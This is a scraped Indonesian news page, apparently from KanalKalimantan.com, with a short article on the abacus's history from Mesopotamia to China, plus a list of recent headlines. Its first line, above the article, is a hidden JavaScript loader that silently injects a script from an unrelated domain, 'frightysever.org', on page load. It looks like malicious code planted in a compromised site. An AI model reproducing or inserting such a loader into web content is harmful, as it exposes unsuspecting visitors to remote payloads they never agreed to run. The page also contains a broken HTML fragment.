(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Unik

Abacus, Alat Hitung Pertama yang Diciptaan Manusia


Sejak lahir manusia memiliki bakat untuk dapat melakukan berbagai kegiatan yang berhubungan dengan pemikiran abstrak, agar dapat bekerja pada tingkat konseptual. Penemuan alat-alat yang terbuat dari batu, termasuk sistem roda, memberikan kemampuan kepada manusia untuk mengatasi berbagai hambatan fisik yang membatasinya untuk berkembang di dalam lingkungan.

Nenek moyang manusia telah membuat konsep dasar dari sebuah metode perhitungan yang sederhana. Diperkirakan sejak ribuan tahun yang lalu, manusia telah menguasai ilmu matematika, dan terus diturunkan dari generasi ke generasi hingga akhirnya dapat menjadi ilmu yang sangat kompleks.

Walau membutuhkan waktu yang sangat lama, tapi hal itu menunjukkan kemampuan manusia untuk berkembang pada berbagai situasi. Salah satu bukti penguasaan manusia terhadap metode perhitungan adalah dengan ditemukannya Abacus.

Abacus atau sempoa adalah alat hitung pertama ciptaan manusia, yang digunakan tanpa bantuan mesin apapun. Abacus menjadi salah satu mesin paling tua buatan manusia, selain senjata dan roda. Abacus paling tua diketahui berasal dari Mesopotamia, yang diciptakan sekitar tahun 3000 SM.

Alat hitung dari Mesopotamia itu terbuat dari papan yang ditutupi dengan pasir. Untuk menggunakannya sangat mudah yaitu dengan menuliskan berbagai tanda di atas pasir memakai stik kayu atau jari.

Nama abacus sendiri berasal dari istilah kuno yang berarti “debu”. Seiring berjalannya waktu, alat hitung sederhana dari pasir itu semakin berkembang, hingga akhirnya memperoleh bentuk yang paling mirip dengan sempoa abad ke-20, yang menggunakan kawat dan manik-manik. Bentuk pertama dari abacus manik-manik itu diciptakan di Mesir sekitar tahun 500 SM.

Abacus juga ditemukan di Yunani dan India dalam bentuk yang serupa dengan abacus di Mesir. Wilayah China mengenal penggunakan abacus sekitar tahun 190 SM, yang sampai sekarang masih umum digunakan oleh para pedagang.

Abacus yang dibuat oleh orang-orang China menggunakan 10 buah kawat, dengan tujuh manik-manik di setiap kawatnya untuk mewakili satuan angka. Satu set manik-manik mewakili satu dan set yang lain masing-masing mewakili lima.

Abacus tidak hanya dapat digunakan untuk perhitungan yang sederhana, seperti penambahan dan pengurangan, tetapi juga dapat digunakan untuk perkalian dan pembagian. Seseorang yang ahli menggunakan abacus akan dapat menyelesaikan soal perhitungan yang sama cepatnya dengan mereka yang menggunakan kalkulator elektronik.(cel/kum)

div class=”reporter”>
Reporter : Cel/kum
Editor : Chell


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

2 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

5 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

11 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

11 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

14 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

17 jam ago

This website uses cookies.